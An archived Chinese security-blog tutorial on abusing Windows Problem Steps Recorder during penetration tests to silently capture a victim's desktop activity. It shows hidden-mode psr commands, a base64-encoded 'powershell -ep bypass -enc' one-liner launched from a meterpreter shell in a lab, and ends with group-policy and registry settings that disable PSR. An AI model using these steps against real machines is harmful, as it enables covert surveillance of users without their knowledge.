
        <html>
			<head>
			     <title>渗透技巧——如何巧妙利用PSR监控Windows桌面 - 三好学生</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/tips/13125">http://drops.wooyun.org/tips/13125</a></h1>
				
      <p>
        <h1>0x00 前言</h1>

<hr />

<p>在渗透测试的过程中，如果需要获取主机的更多信息，相比于键盘记录，记录系统屏幕的操作往往更加直接有效。<br />
也许每个人都有自己独特的实现方式，但是如果能够利用Windows系统自带的程序实现，个人认为绝对是最优先考虑的方案。<br />
下面就介绍一下如何利用Windows系统自带的功能实现监控屏幕操作。</p>

<!--more-->

<p><img src="http://static.wooyun.org//drops/20160226/2016022605463638874118.png" alt="Alt text" /></p>

<h1>0x01 简介</h1>

<hr />

<p><strong>PSR</strong>（Problem Steps Recorder），直译为问题步骤记录器，在Windows 早期的系统中，采用<strong>WER</strong>（Windows Error Reporting）来收集系统的错误报告，但这些报告往往包含的信息太少以致于无法解决实际问题。</p>

<p>为此，微软从Windows 7系统开始，增加了PSR来解决这个问题，PSR能够记录用户在遇到崩溃时执行的所有操作，以便测试人员和开发人员能够重现环境对其分析和调试。</p>

<p>当PSR运行时，将会自动记录屏幕的操作，每次操作都会自动保存成一张图片，最终生成一份zip格式的报告。</p>

<p><strong>注：</strong><br />
百度百科对psr的名称描述有误，准确的应为Problem Steps Recorder（该问题已提交）</p>

<p>如图 <img src="http://static.wooyun.org//drops/20160226/2016022605463866997217.png" alt="Alt text" /></p>

<p>链接为：<br />
<a href="http://baike.baidu.com/link?url=BCQtF6gpxNGulRPj-vACw_NGwZvHPcrfvn4vmx6u_JFI_OcuPJIFzY3GYE-mu91DZcB-RLiQ6pGXTki1Fc0Y6K">http://baike.baidu.com/link?url=BCQtF6gpxNGulRPj-vACw&#95;NGwZvHPcrfvn4vmx6u&#95;JFI_OcuPJIFzY3GYE-mu91DZcB-RLiQ6pGXTki1Fc0Y6K</a></p>

<h1>0x02 使用方法</h1>

<hr />

<h3>1、启动psr.exe，点击开始录制</h3>

<p>可使用快捷键win+R直接输入psr来启动<br />
下图为psr的操作面板，点击开始记录即可记录当前的屏幕操作</p>

<p><img src="http://static.wooyun.org//drops/20160226/2016022605464017004312.png" alt="Alt text" /></p>

<p>点击后会提示权限的问题，如果需要记录管理员权限的程序，那么需要以管理员权限来运行psr，如图</p>

<p><img src="http://static.wooyun.org//drops/20160226/201602260546414499747.png" alt="Alt text" /></p>

<h3>2、进行任意操作</h3>

<p>当运行psr开始录制后，鼠标点击时会增加特效</p>

<p>如图 <img src="http://static.wooyun.org//drops/20160226/201602260546435025957.png" alt="Alt text" /></p>

<h3>3、停止记录，保存报告</h3>

<p>如图 <img src="http://static.wooyun.org//drops/20160226/201602260546445741067.png" alt="Alt text" /></p>

<h3>4、查看报告</h3>

<p>报告会对每次操作截图，并记录鼠标的操作</p>

<p>比如鼠标的单击操作，从截图注释可以看到当前的鼠标做了哪些操作 <img src="http://static.wooyun.org//drops/20160226/201602260546466043176.png" alt="Alt text" /></p>

<p>而且，在报告后半部分会详细记录相关细节，里面的内容也很是有趣： <img src="http://static.wooyun.org//drops/20160226/201602260546482617686.png" alt="Alt text" /></p>

<h1>0x03 进阶方法</h1>

<hr />

<p>psr在记录屏幕的操作中会启动UI界面，并且对鼠标点击操作增加特效，这显然无法满足渗透测试的要求。</p>

<p>但好在psr提供了命令行参数用作后台记录</p>

<p>命令行参数如下：</p>

<pre><code>#!bash
psr.exe [/start |/stop][/output &lt;fullfilepath&gt;] [/sc (0|1)] [/maxsc &lt;value&gt;]
[/sketch (0|1)] [/slides (0|1)] [/gui (0|1)]
[/arcetl (0|1)] [/arcxml (0|1)] [/arcmht (0|1)]
[/stopevent &lt;eventname&gt;] [/maxlogsize &lt;value&gt;] [/recordpid &lt;pid&gt;]

/start Start Recording. (Outputpath flag SHOULD be specified)
/stop Stop Recording.
/sc Capture screenshots for recorded steps.
/maxsc Maximum number of recent screen captures.
/maxlogsize Maximum log file size (in MB) before wrapping occurs.
/gui Display control GUI.
/arcetl Include raw ETW file in archive output.
/arcxml Include MHT file in archive output.
/recordpid Record all actions associated with given PID.
/sketch Sketch UI if no screenshot was saved.
/slides Create slide show HTML pages.
/output Store output of record session in given path.
/stopevent Event to signal after output files are generated.
</code></pre>

<p>结合实际，可使用以下命令：</p>

<ol>
<li><p><code>psr.exe /start /gui 0 /output C:\test\capture.zip</code></p>

<p>后台启动psr并开始录制，文件保存为C:\test\capture.zip</p></li>
<li><p><code>psr.exe /stop</code></p>

<p>结束录制并退出psr，自动保存报告文件</p></li>
</ol>

<h1>0x04 实际测试</h1>

<hr />

<p><strong>测试环境：</strong></p>

<pre><code>Server：
OS：Kali linux
IP：192.168.174.133

Client：
OS:Win7 x86
IP:192.168.174.128

Kali已获得meterpreter权限
</code></pre>

<p>如图 <img src="http://static.wooyun.org//drops/20160226/201602260546498212994.png" alt="Alt text" /></p>

<p><strong>测试功能：</strong></p>

<ol>
<li>自动启动录制</li>
<li>录制指定时间后自动退出</li>
<li>自动保存报告文件</li>
</ol>

<p>可使用Powershell对上述功能做简单实现：</p>

<p><strong>1、</strong>启动自动录制，设置为无界面模式，并指定输出路径：</p>

<pre><code>#!bash
psr.exe /start /gui 0 /output C:\test\capture.zip;
</code></pre>

<p><strong>2、</strong>等待10s，即录制时间为10s：</p>

<pre><code>#!bash
Start-Sleep -s 10;
</code></pre>

<p><strong>3、</strong>结束录制，自动退出：</p>

<pre><code>#!bash
psr.exe /stop;
</code></pre>

<p>可将以上代码保存为<code>C:\test\1.txt</code>，然后对其作base64加密</p>

<p>在Powershell环境下执行如下代码来对功能代码进行base64加密：</p>

<pre><code>#!powershell
$string=Get-Content "C:\test\1.txt"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($string)
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded
</code></pre>

<p><img src="http://static.wooyun.org//drops/20160226/2016022605465167153104.png" alt="Alt text" /></p>

<p>如图，从输出得到加密的Powershell命令为：</p>

<pre><code>#!bash
cABzAHIALgBlAHgAZQAgAC8AcwB0AGEAcgB0ACAALwBnAHUAaQAgADAAIAAvAG8AdQB0AHAAdQB0ACAAQwA6AFwAdABlAHMAdABcAGMAYQBwAHQAdQByAGUALgB6AGkAcAA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABwAHMAcgAuAGUAeABlACAALwBzAHQAbwBwADsA
</code></pre>

<p>然后就可以在meterpreter的shell下直接执行Powershell命令：</p>

<pre><code>#!bash
powershell -ep bypass -enc cABzAHIALgBlAHgAZQAgAC8AcwB0AGEAcgB0ACAALwBnAHUAaQAgADAAIAAvAG8AdQB0AHAAdQB0ACAAQwA6AFwAdABlAHMAdABcAGMAYQBwAHQAdQByAGUALgB6AGkAcAA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABwAHMAcgAuAGUAeABlACAALwBzAHQAbwBwADsA
</code></pre>

<p><img src="http://static.wooyun.org//drops/20160226/2016022605465290270119.png" alt="Alt text" /></p>

<p>代码执行后，等待10s产成报告文件capture.zip，测试成功</p>

<h1>0x05 防御</h1>

<hr />

<p>可采用以下两种方法关闭psr：</p>

<h3>1、使用组策略</h3>

<p><strong>中文系统：</strong></p>

<p>gpedit.msc-管理模板-Windows组件-应用程序兼容性</p>

<p>启用关闭问题步骤记录器</p>

<p>如图 <img src="http://static.wooyun.org//drops/20160226/2016022605465493961124.png" alt="Alt text" /></p>

<p><strong>英文系统：</strong></p>

<p>gpedit.msc-Computer Configuration-Administrative Templates-Windows Components-Application Compatibility</p>

<p>启用Turn off Problem Steps Recorder</p>

<p>如图 <img src="http://static.wooyun.org//drops/20160226/2016022605465662846134.png" alt="Alt text" /></p>

<h3>2、修改注册表</h3>

<pre><code>#!bash
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\AppCompat]
</code></pre>

<p>新建<code>"DisableUAR"=dword:00000001</code></p>

<p>如图 <img src="http://static.wooyun.org//drops/20160226/2016022605465812026143.png" alt="Alt text" /></p>

<p><strong>注：</strong><br />
dword=1对应组策略中的已启用<br />
dword=0对应组策略中的已禁用<br />
删除"DisableUAR"对应组策略中的未配置</p>

<h1>0x06 小结</h1>

<hr />

<p>利用PSR监控Windows桌面，不仅仅能够捕获用户桌面的操作，而且在报告中会包含更多有用的细节信息，相信你在渗透测试的过程中，一定会用上它。</p>

<h1>0x07 参考资料</h1>

<hr />

<ul>
<li><a href="https://cyberarms.wordpress.com/2016/02/13/using-problem-steps-recorder-psr-remotely-with-metasploit/">https://cyberarms.wordpress.com/2016/02/13/using-problem-steps-recorder-psr-remotely-with-metasploit/</a></li>
<li><a href="https://msdn.microsoft.com/en-us/library/windows/desktop/dd371782(v=vs.85).aspx">https://msdn.microsoft.com/en-us/library/windows/desktop/dd371782(v=vs.85).aspx</a></li>
<li><a href="https://blogs.msdn.microsoft.com/cjacks/2009/02/25/deciphering-the-command-line-configuration-of-the-windows-7-problem-steps-recorder/">https://blogs.msdn.microsoft.com/cjacks/2009/02/25/deciphering-the-command-line-configuration-of-the-windows-7-problem-steps-recorder/</a></li>
<li><a href="https://technet.microsoft.com/en-us/magazine/dd464813.aspx">https://technet.microsoft.com/en-us/magazine/dd464813.aspx</a></li>
<li><a href="http://blogs.msdn.com/b/wer/archive/2009/03/30/problem-steps-recorder-psr-exe-windows-error-reporting-another-tool-to-help-find-solutions-to-software-defects.aspx">http://blogs.msdn.com/b/wer/archive/2009/03/30/problem-steps-recorder-psr-exe-windows-error-reporting-another-tool-to-help-find-solutions-to-software-defects.aspx</a></li>
<li><a href="http://blogs.technet.com/b/mspfe/archive/2013/03/22/uncovering-a-hidden-gem-psr-exe.aspx">http://blogs.technet.com/b/mspfe/archive/2013/03/22/uncovering-a-hidden-gem-psr-exe.aspx</a></li>
<li><a href="http://www.sevenforums.com/tutorials/139779-problem-steps-recorder-enable-disable.html">http://www.sevenforums.com/tutorials/139779-problem-steps-recorder-enable-disable.html</a></li>
</ul>

<p><strong>本文由三好学生原创并首发于乌云drops，转载请注明</strong></p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          